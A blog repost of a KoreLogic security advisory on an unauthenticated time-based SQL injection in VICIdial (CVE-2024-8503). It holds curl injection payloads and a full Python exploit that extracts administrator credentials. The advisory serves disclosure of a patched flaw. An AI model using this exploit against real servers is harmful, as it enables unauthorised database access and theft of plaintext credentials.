{"id":59591,"date":"2024-09-11T18:50:29","date_gmt":"2024-09-11T15:50:29","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181460\/KL-001-2024-011.txt"},"modified":"2024-09-11T18:50:29","modified_gmt":"2024-09-11T15:50:29","slug":"vicidial-2-14-917a-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vicidial-2-14-917a-sql-injection\/","title":{"rendered":"VICIdial 2.14-917a SQL Injection"},"content":{"rendered":"<p>KL-001-2024-011: VICIdial Unauthenticated SQL Injection<\/p>\n<p>Title: VICIdial Unauthenticated SQL Injection<br \/>Advisory ID: KL-001-2024-011<br \/>Publication Date: 2024-09-10<br \/>Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-011.txt<\/p>\n<p>1. Vulnerability Details<\/p>\n<p>Affected Vendor: VICIdial<br \/>Affected Product: VICIdial<br \/>Affected Version: 2.14-917a<br \/>Platform: GNU\/Linux<br \/>CWE Classification: CWE-89: Improper Neutralization of Special<br \/>Elements used in an SQL Command<br \/>(&#8216;SQL Injection&#8217;)<br \/>CVE ID: CVE-2024-8503<\/p>\n<p>2. Vulnerability Description<\/p>\n<p>An unauthenticated attacker can leverage a time-based SQL<br \/>injection vulnerability in VICIdial to enumerate database<br \/>records. By default, VICIdial stores plaintext credentials<br \/>within the database.<\/p>\n<p>3. Technical Description<\/p>\n<p>VICIdial is an open-source contact center suite, mainly used<br \/>by call centers. The &#8220;vicidial.com&#8221; website boasts over 14,000<br \/>registered installations. There is a public SVN repository to<br \/>access the source code, as well as an ISO that can be used to<br \/>install the software. The ISO was used in a virtual machine<br \/>for testing purposes.<\/p>\n<p>When performing SQL queries, VICIdial does not use prepared<br \/>statements, but instead uses the &#8220;preg_replace&#8221; PHP function<br \/>to remove problematic characters in user-controlled input<br \/>before interpolating the variable into a SQL query. This<br \/>is largely an effective solution, as regular expressions<br \/>like &#8220;\/[^-_0-9a-zA-Z]\/&#8221; are passed to &#8220;preg_replace&#8221;, which<br \/>essentially limits input to the characters shown in the pattern<br \/>(letters, numbers, underscores, and hyphens).<\/p>\n<p>However, these scripts do not utilize a shared PHP file<br \/>for performing sanitization uniformly. Instead, each script<br \/>individually implements the &#8220;preg_replace&#8221; function, leading<br \/>to inconsistencies in which patterns are used and where they<br \/>are applied.<\/p>\n<p>For example, providing credentials via the &#8220;Authorization&#8221;<br \/>request header using the &#8220;Basic&#8221; scheme, most PHP scripts<br \/>sanitize the username value with the following line:<\/p>\n<p>$PHP_AUTH_USER = preg_replace(&#8216;\/[^-_0-9a-zA-Z]\/&#8217;,&#8221;,$PHP_AUTH_USER);<\/p>\n<p>However, the &#8220;VERM_AJAX_functions.php&#8221; PHP script does not<br \/>perform any sanitization before inserting the username into<br \/>a SQL &#8220;INSERT&#8221; statement:<\/p>\n<p>$PHP_AUTH_USER=$_SERVER[&#8216;PHP_AUTH_USER&#8217;];<br \/>$PHP_AUTH_PW=$_SERVER[&#8216;PHP_AUTH_PW&#8217;];<br \/>&#8230;<br \/>if ($function==&#8221;log_custom_report&#8221;)<br \/>{<br \/>$rpt_log_stmt=&#8221;insert ignore into<br \/>verm_custom_report_holder(user,<br \/>report_name, report_parameters)<br \/>values(&#8216;$PHP_AUTH_USER&#8217;, &#8216;$custom_report_name&#8217;,<br \/>&#8216;$LOGhttp_referer&#8217;) ON DUPLICATE KEY<br \/>UPDATE report_name=&#8217;$custom_report_name&#8217;,<br \/>report_parameters=&#8217;$custom_report_vars'&#8221;;<br \/>$rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);<br \/>return mysqli_affected_rows($rpt_log_rslt);<br \/>}<\/p>\n<p>Since &#8220;VERM_AJAX_functions.php&#8221; can be accessed without<br \/>authentication, this creates a straight forward unauthenticated<br \/>SQL injection vulnerability. While the page response cannot<br \/>be manipulated by the execution of the query, delays in the<br \/>page response can be observed when using SQL functions such as<br \/>&#8220;sleep()&#8221;, enabling the enumeration of database values using<br \/>time-based SQL injection:<\/p>\n<p>$ time curl -u &#8220;foo:bar&#8221; \\<br \/>http:\/\/REDACTED\/VERM\/VERM_AJAX_functions.php?function=log_custom_report<\/p>\n<p>real 0m0.019s &lt;&#8212; (normal response time)<br \/>user 0m0.004s<br \/>sys 0m0.008s<\/p>\n<p>$ time curl -u &#8220;&#8216;,&#8221;,sleep(5));#:bar&#8221; \\<br \/>http:\/\/REDACTED\/VERM\/VERM_AJAX_functions.php?function=log_custom_report<\/p>\n<p>real 0m5.023s &lt;&#8212; (5-second delay in response time)<br \/>user 0m0.003s<br \/>sys 0m0.008s<\/p>\n<p>This observable difference can be used to craft queries that<br \/>sleep under specific conditions, allowing an attacker to ask<br \/>&#8220;Yes or No&#8221; questions. In the following example, the &#8220;sleep()&#8221;<br \/>function is called only if the provided string matches the<br \/>database version:<\/p>\n<p>$ time curl -u \\<br \/>&#8220;&#8216;,&#8221;,IF(@@version=&#8217;korelogic&#8217;,sleep(5),NULL));#:bar&#8221; \\<br \/>http:\/\/vicidial.zz\/VERM\/VERM_AJAX_functions.php?function=log_custom_report<\/p>\n<p>real 0m0.024s &lt;&#8212; (normal response time)<br \/>user 0m0.006s<br \/>sys 0m0.003s<\/p>\n<p>$ time curl -u \\<br \/>&#8220;&#8216;,&#8221;,IF(@@version=&#8217;10.6.14-MariaDB-log&#8217;,sleep(5),NULL));#:bar&#8221; \\<br \/>http:\/\/vicidial.zz\/VERM\/VERM_AJAX_functions.php?function=log_custom_report<\/p>\n<p>real 0m5.019s &lt;&#8212; (5-second delay in response time)<br \/>user 0m0.004s<br \/>sys 0m0.008s<\/p>\n<p>4. Mitigation and Remediation Recommendation<\/p>\n<p>This issue has been remediated in the public svn\/trunk codebase,<br \/>as of revision 3848 committed 2024-07-08.<\/p>\n<p>5. Credit<\/p>\n<p>This vulnerability was discovered by Jaggar Henry of KoreLogic,<br \/>Inc.<\/p>\n<p>6. Disclosure Timeline<\/p>\n<p>2024-07-05 : KoreLogic requests security contact from<br \/>support@vicidial.com.<br \/>2024-07-08 : KoreLogic reports vulnerability details to VICIdial<br \/>contact.<br \/>2024-07-08 : VICIdial notifies KoreLogic that the issue has been<br \/>remediated with revision 3848 in the public<br \/>Subversion repository.<br \/>2024-07-11 : KoreLogic confirms this vulnerability has been<br \/>remediated. KoreLogic asks VICIdial if it is<br \/>appropriate to publicly disclose the vulnerability<br \/>details at this time.<br \/>2024-07-11 : VICIdial requests four weeks of embargo in order to<br \/>upgrade supported customers.<br \/>2024-08-05 : KoreLogic asks VICIdial if it is appropriate to<br \/>publicly disclose the vulnerability details at<br \/>this time.<br \/>2024-08-09 : VICIdial requests an additional two weeks of<br \/>embargo.<br \/>2024-09-10 : KoreLogic public disclosure.<\/p>\n<p>7. Proof of Concept<\/p>\n<p>The following script can be used to automate the exploitation process and<br \/>enumerate the results of provided queries:<\/p>\n<p>$ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q &#8216;SELECT @@version&#8217;<br \/>[+] Target appears vulnerable to time-based SQL injection<br \/>[~] Executing SQL: SELECT @@version<br \/>[~] 1<br \/>[~] 10<br \/>[~] 10.<br \/>[~] 10.6<br \/>[~] 10.6.<br \/>[~] 10.6.1<br \/>[~] 10.6.14<br \/>[~] 10.6.14-<br \/>[~] 10.6.14-M<br \/>[~] 10.6.14-Ma<br \/>[~] 10.6.14-Mar<br \/>[~] 10.6.14-Mari<br \/>[~] 10.6.14-Maria<br \/>[~] 10.6.14-MariaD<br \/>[~] 10.6.14-MariaDB<br \/>[~] 10.6.14-MariaDB-<br \/>[~] 10.6.14-MariaDB-l<br \/>[~] 10.6.14-MariaDB-lo<br \/>[~] 10.6.14-MariaDB-log<\/p>\n<p>real 0m6.727s<br \/>user 0m0.425s<br \/>sys 0m0.020s<\/p>\n<p>##############################<br \/>## unauth_sqli.py ##<br \/>##############################<\/p>\n<p>import string<br \/>import random<br \/>import urllib3<br \/>import argparse<br \/>import requests<br \/>from base64 import b64encode<\/p>\n<p>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n<p>class Exploit:<br \/>def __init__(self, rhost, rport, proxy=None):<br \/>&#8220;&#8221;&#8221;<br \/>This &#8216;sleep&#8217; duration is derived by the average response time<br \/>multiplied by this value. A server with an average response time<br \/>of 10ms is given a &#8216;sleep&#8217; duration of 300ms. Tune as needed.<br \/>&#8220;&#8221;&#8221;<br \/>self.SLEEP_MULTIPLIER = 30<br \/>self.REQUEST_HEADERS = {&#8216;User-Agent&#8217;: &#8216;KoreLogic&#8217;}<br \/>self.ALLOWED_SCHEMES = [&#8216;http&#8217;, &#8216;https&#8217;]if proxy:<br \/>self.REQUEST_PROXIES = {<br \/>&#8216;http&#8217;: proxy,<br \/>&#8216;https&#8217;: proxy<br \/>}<br \/>else:<br \/>self.REQUEST_PROXIES = {}<\/p>\n<p>self.TARGET_IP = rhost<br \/>self.TARGET_PORT = rport<\/p>\n<p>self.VICIDIAL_FINGERPRINT = &#8216;Please Hold while I redirect you!&#8217;<br \/>self.RANDOM_CHARSET = string.ascii_uppercase + string.digits<\/p>\n<p># returns a URI with &#8216;http&#8217; or &#8216;https&#8217;<br \/>def determine_target_uri(self):<br \/>for scheme in self.ALLOWED_SCHEMES:<br \/>target_uri = f'{scheme}:\/\/{self.TARGET_IP}:{self.TARGET_PORT}&#8217;<br \/>try:<br \/>response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)<br \/>if self.VICIDIAL_FINGERPRINT in response.text:<br \/>return target_uri<br \/>except:<br \/>pass<\/p>\n<p># returns a session object with custom proxies\/headers if supplied<br \/>def build_requests_session(self):<br \/>self.base_uri = self.determine_target_uri()<br \/>session = requests.Session()<br \/>session.proxies = self.REQUEST_PROXIES<br \/>session.verify = False<br \/>return session<\/p>\n<p># returns a random string of a given length<br \/>def random(self, length):<br \/>return &#8221;.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))<\/p>\n<p># returns a timedelta representing the response time of an injected SQL query<br \/>def time_sql_query(self, query, session):<br \/>username = f&#8221;goolicker&#8217;, &#8221;, ({query}));# &#8220;<br \/>credentials = f'{username}:password&#8217;<br \/>credentials_base64 = b64encode(credentials.encode()).decode()<br \/>auth_header = f&#8217;Basic {credentials_base64}&#8217;<\/p>\n<p>target_uri = f'{self.base_uri}\/VERM\/VERM_AJAX_functions.php&#8217;<br \/>request_params = {&#8216;function&#8217;: &#8216;log_custom_report&#8217;, self.random(5): self.random(5)}<br \/>request_headers = {**self.REQUEST_HEADERS, &#8216;Authorization&#8217;: auth_header}<\/p>\n<p>response = session.get(target_uri, params=request_params, headers=request_headers)<br \/>return response.elapsed<\/p>\n<p># returns a boolean if time-based SQL injection is possible, additionally<br \/># sets the best &#8216;sleep&#8217; duration based on response times<br \/>def is_vulnerable(self, session, baseline_iterations=5):<br \/># determine average baseline response time<br \/>zero_sleep_query = f&#8217;SELECT (NULL)&#8217;<br \/>total_baseline_time = 0<br \/>for _ in range(baseline_iterations):<br \/>execution_time = self.time_sql_query(zero_sleep_query, session)<br \/>total_baseline_time += execution_time.total_seconds()<\/p>\n<p>average_baseline_response_time = total_baseline_time \/ baseline_iterations<br \/>self.sql_baseline_time = average_baseline_response_time<\/p>\n<p># determine if injected sleep query impacts response time<br \/>sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)<br \/>sleep_query = f&#8217;SELECT (sleep({sleep_length}))&#8217;<br \/>execution_time = self.time_sql_query(sleep_query, session)<br \/>if execution_time.total_seconds() &gt;= sleep_length:<br \/>self.sql_sleep_length = sleep_length<br \/>return True<br \/>else:<br \/>return False<\/p>\n<p># determine if a character at a specific indice of a query result returns a<br \/># boolean &#8216;true&#8217; when compared to a given character using the supplied operator<br \/>def check_indice_of_query_result(self, session, query, indice, operator, ordinal):<br \/>parent_query = f&#8217;SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, <br \/>sleep({self.sql_sleep_length}), null)&#8217;<br \/>execution_time = self.time_sql_query(parent_query, session)<br \/>return execution_time.total_seconds() &gt;= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)<\/p>\n<p>def enumerate_sql_query(self, session, query=&#8217;SELECT @@version&#8217;, charset=string.printable):<br \/># convert charset to ordinals<br \/>all_characters = sorted([ord(char) for char in charset])<br \/>reduced_characters = all_characters<\/p>\n<p># use a binary search and enumerate query results<br \/>result = &#8221;<br \/>indice = 1<br \/>indice_could_be_null = True<br \/>while True:<br \/>&#8220;&#8221;&#8221;<br \/>we check if the value is NULL once per indice<br \/>to determine when a string ends. this adds one<br \/>request per indice, but since every boolean &#8216;true&#8217;<br \/>results in a delay this is faster than counting<br \/>the length of the string before enumrating.<br \/>&#8220;&#8221;&#8221;<br \/>if indice_could_be_null:<br \/>if self.check_indice_of_query_result(session, query, indice, &#8216;=&#8217;, &#8216;0&#8217;):<br \/>break<br \/>else:<br \/>indice_could_be_null = False<\/p>\n<p># enumerate each character of query result with a binary search<br \/>middle_indice = len(reduced_characters) \/\/ 2<br \/>middle_ordinal = reduced_characters[middle_indice]if self.check_indice_of_query_result(session, query, indice, &#8216;&lt;=&#8217;, middle_ordinal):<br \/>if self.check_indice_of_query_result(session, query, indice, &#8216;=&#8217;, middle_ordinal):<br \/>reduced_characters = all_characters<br \/>result += chr(middle_ordinal)<br \/>indice += 1<br \/>indice_could_be_null = True<br \/>print(f'[~] {result}&#8217;)<br \/>else:<br \/>reduced_characters = reduced_characters[:middle_indice]else:<br \/>reduced_characters = reduced_characters[middle_indice:]\n<p>return result<\/p>\n<p># returns administrator username and password by<br \/># exploiting time-based SQL injection.<br \/>def extract_admin_credentials(self, session):<br \/>print(&#8216;[~] Enumerating administrator credentials&#8217;)<br \/>username_charset = string.ascii_letters + string.digits<br \/>admin_username_query = &#8220;SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = <br \/>&#8216;1&#8217; LIMIT 1&#8243;<br \/>admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)<br \/>print(f'[+] Username: {admin_username}&#8217;)<\/p>\n<p>password_charset = string.ascii_letters + string.digits + &#8216;-.+\/=_&#8217;<br \/>admin_password_query = f&#8221;SELECT pass FROM vicidial_users WHERE user = &#8216;{admin_username}&#8217; LIMIT 1&#8243;<br \/>admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)<br \/>print(f'[+] Password: {admin_password}&#8217;)<\/p>\n<p>return admin_username, admin_password<\/p>\n<p># injects SQL queries and enumerates results if instance is vulnerable<br \/>def exploit(self, custom_query=None):<br \/>session = self.build_requests_session()<br \/>is_vulnerable = self.is_vulnerable(session)<br \/>if is_vulnerable:<br \/>print(&#8216;[+] Target appears vulnerable to time-based SQL injection&#8217;)<br \/>else:<br \/>print(&#8216;[-] Failed to perform time-based SQL injection&#8217;)<br \/>return<\/p>\n<p>if custom_query:<br \/>print(f'[~] Executing SQL: {custom_query}&#8217;)<br \/>self.enumerate_sql_query(session, custom_query)<br \/>else:<br \/>self.extract_admin_credentials(session)<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>argparser = argparse.ArgumentParser(description=&#8217;Exploit for CVE-2024-XXXXX: Unauthenticated SQLi&#8217;)<br \/>required = argparser.add_argument_group(&#8216;Required Arguments&#8217;)<br \/>optional = argparser.add_argument_group(&#8216;Optional Arguments&#8217;)<br \/>required.add_argument(&#8216;-rh&#8217;, &#8216;&#8211;rhost&#8217;, required=True, help=&#8217;Vicidial Server IP address&#8217;)<br \/>required.add_argument(&#8216;-rp&#8217;, &#8216;&#8211;rport&#8217;, required=True, help=&#8217;Vicidial Server port number&#8217;)<br \/>optional.add_argument(&#8216;-q&#8217;, &#8216;&#8211;query&#8217;, required=False, help=&#8217;Custom SQL query to execute&#8217;, <br \/>default=None)<br \/>optional.add_argument(&#8216;-p&#8217;, &#8216;&#8211;proxy&#8217;, required=False, help=&#8217;HTTP[S] proxy to use for outbound requests&#8217;, <br \/>default=None)<br \/>arguments = argparser.parse_args()<\/p>\n<p>exploit = Exploit(<br \/>rhost = arguments.rhost,<br \/>rport = arguments.rport,<br \/>proxy = arguments.proxy<br \/>)<br \/>exploit.exploit(custom_query=arguments.query)<\/p>\n<p>The contents of this advisory are copyright(c) 2024<br \/>KoreLogic, Inc. and are licensed under a Creative Commons<br \/>Attribution Share-Alike 4.0 (United States) License:<br \/>http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/<\/p>\n<p>KoreLogic, Inc. is a founder-owned and operated company with a<br \/>proven track record of providing security services to entities<br \/>ranging from Fortune 500 to small and mid-sized companies. We<br \/>are a highly skilled team of senior security consultants doing<br \/>by-hand security assessments for the most important networks in<br \/>the U.S. and around the world. We are also developers of various<br \/>tools and resources aimed at helping the security community.<br \/>https:\/\/www.korelogic.com\/about-korelogic.html<\/p>\n<p>Our public vulnerability disclosure policy is available at:<br \/>https:\/\/korelogic.com\/KoreLogic-Public-Vulnerability-Disclosure-Policy<\/p>\n","protected":false},"excerpt":{"rendered":"<p>KL-001-2024-011: VICIdial Unauthenticated SQL Injection Title: VICIdial Unauthenticated SQL InjectionAdvisory ID: KL-001-2024-011Publication Date: 2024-09-10Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-011.txt 1. Vulnerability Details Affected Vendor: VICIdialAffected Product: VICIdialAffected Version: 2.14-917aPlatform: GNU\/LinuxCWE Classification: CWE-89: Improper Neutralization of SpecialElements used in an SQL Command(&#8216;SQL Injection&#8217;)CVE ID: CVE-2024-8503 2. Vulnerability Description An unauthenticated attacker can leverage a time-based SQLinjection vulnerability in VICIdial &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59591","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59591","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59591"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59591\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59591"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59591"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59591"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}